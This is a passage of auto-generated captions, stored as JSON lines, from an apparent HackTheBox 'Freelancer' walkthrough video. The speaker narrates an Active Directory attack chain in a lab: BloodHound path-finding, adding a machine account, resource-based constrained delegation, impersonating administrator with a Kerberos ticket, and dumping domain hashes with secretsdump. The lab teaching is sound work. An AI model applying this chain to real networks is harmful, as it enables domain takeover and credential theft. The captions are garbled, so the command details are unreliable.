{"text": "freelancer htb and we should add this to a host file I probably should have done that way back when we did like impacket because impacket told us the host name if we did um not n packet nxe um nxc SM SMB 101015 when we run this it all tells us the name is DC so ad recycle bin has generic right if I click this we can go over to Linux abuse and it tells us what to do we do a add computer resource base constrain delegation to add the action right then we can do a um silver ticket so we're going to try this attack out but also we could go to pathf finding and then search for let's go um Laura to domain administrator so we could do it this way as well and it shows us the path Laura member of recycle bin has right to the DC from there we can DC sync everything so that's how you use the new blood hound kind of hopefully you enjoyed that piece of the demo now let's go over and abuse", "start": 6800.199, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 87 |
+
{"text": "this generic right so go Linux abuse we're going to want to do this add computer so we're going to copy this let's see do we have ADD computer.", "start": 6876.88, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 88 |
+
{"text": "py in our path we do let's see we probably don't need ldaps we can say computer name we're going to say U doesn't really matter what the computer name is because we're adding a computer to the domain as long as we have the ability to add a computer we can do this so we're going to set the computer password to uh we would say Please Subscribe DC host is going to be uh DC freelancer h htb domain net bios uh we want to say this is also attacker system I want to see I think this is setting the demain net Biers I'm pretty sure that's what that is and then we need the user so we'll say freelancer htb and what is our username we can get rid of this Blood Hound data now we don't need it uh we definitely need to keep running Blood Hound but that's in the background so that's fine uh let's see HTP freelancer cat", "start": 6887.52, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 89 |
+
{"text": "users grab floor grab this and then the password it's going to be this pwned okay that should be it I'm really not sure if net buyers is do like the actual domain name or the hear name we're adding of the computer if it errors then we know what to change I guess uh we have successfully added the machine attacker system okay so now let's do our rbcd attack so we want to do our computer that we added attacker system can delicate to the DC so that is going to be dc.", "start": 6966.079, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 90 |
+
{"text": "freelancer htb and then the username and password we will put the thing we had before paste this and account to modify does not exist did I forget maybe net bios should be just the domain okay let's go back to add computer we'll say IPC and then oh wait DC is not found freelancer HTP let's try IPC real quick okay so it's not finding the account we want to delegate to the dc.", "start": 7023.52, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 91 |
+
{"text": "freelancer htb um is that lowercase is this going to be a case thing I don't think so Windows normally isn't K sensitive um delegate 2 maybe it's just DC dollar because that's the actual computer name okay that's what it is um we can also do attacker system I'm doing it for both just because I don't know if the domain net buyers made a difference so this is me just testing it out doing both of them um um so now we can get the silver ticket so cifs this is going to be DC freelancer htb impersonate administrator and then this is going to be not this account we actually have to give it the computer name account we created so this is why we create a computer and don't use a computer that's in the domain because eventually we need to know the machine account password so we can say we'll do attacker system", "start": 7096.36, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 92 |
+
{"text": "first okay we have the CC cache so now we should be able to um DC sync we could also use Pi whisker to log in but we can just um secret stump this does this have the exact syntax it does so we just pretty much do what is it export or we can say kabbe 5 CC name equals administrator I don't know if there's an underscore or not that looks right to me Python 3 or it's just secret stump then we say probably- k for cobos then we give it the no pass flag uh we want to give it the DCI and then um the user that we are so freelancer htb administrator at DC freelancer htb this is what's in our ticket right so this looks like it is working so start a remote registry Target system boot key and now it's going to be dumping the hashes so let's after this let's try it with the ipset computer just in case um the", "start": 7180.56, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 93 |
+
{"text": "net bios does matter um I'm sure it does something I just don't know exactly what it does I think it's s the net bios of the computer name which um it should just be the computer name I don't know why it's saying domain inside of Blood Hound right but we can get the password right there and now it's dumping the cach domain logins I'm just going to let this finish so we'll pause a video until this finishes I don't know how long this takes and my impa it finished but we eventually hit a error message um after we stopped remote registry we have that but it looks like everything worked uh I really need to reinstall this operating system to um get better like fix all those errors we have the SQL Express password right here that we never got before very solid password um if we had got the SQL Express password earlier like if it was", "start": 7269.639, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 94 |
+
{"text": "in um that config file if well the config file had a SQL Express password it didn't have the current one I should say but if we had the current one we may have been able to do a silver ticket soon as we exploited the database but since we never got it um we couldn't do that and let's see we got the hash here so you can do that wmi exact that we showed a couple minutes ago but let's now switch this up and delete the administrator get St we're going to use IPC Please Subscribe there we go we have generated again we'll run it and see if we authenticate still Target boot key Sam this is looking good so we did authenticate so in terms of exploitation it doesn't matter in the slightest however it probably does make some type of difference when we look at the computer registration so um while that runs I'm just going to go back here", "start": 7326.239, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 95 |
+
{"text": "and I think we can say like get 80 computer does that work hipc there we go Sam account name let's see is there like a property star there we go um net no I was hoping there was a net buyers see DNS hear name this is looking fine let's see the other computer was attacker system same account name CN so I'm relatively confident um we did not set the net buyers name of a computer uh wow I don't know why this happens periodically that my winrm just dies but let's just go back to this um what do we do impacket add computer and search the documentation and see what net bios actually means so if we go to the hacker tools let's see does it talk about the main net bios it does Net Biers where the computer will be okay so this probably should just be freelancer I'm guessing it's the net Biers name of the domain where the computer is being added to and", "start": 7392.199, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 96 |
+
{"text": "it's useful when the forest handles multiple domains so this is probably just making sure that you add the computer into the right domain right so if I just specified a parent domain and then it had a child or something um it may be added to the parent not the child so net bio seems like it just is a filter on the domain and I'm guessing because it didn't exist like the IPC one didn't exist so it justult aled to the parent so really the net bios name probably isn't needed at all um let's see is this where we ran at we go back to add computer let's see domain net bios do we need this flag uh ipac 2 let's see I'm guessing we don't yep we don't even need the n a domain net buyers flag so that's just again specifying what domain you want to be a part a part of if there are multiple domains so that's going to be the Box hope you guys enjoyed it take", "start": 7496.4, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 97 |
+
{"text": "care and I will see you all next time", "start": 7551.76, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|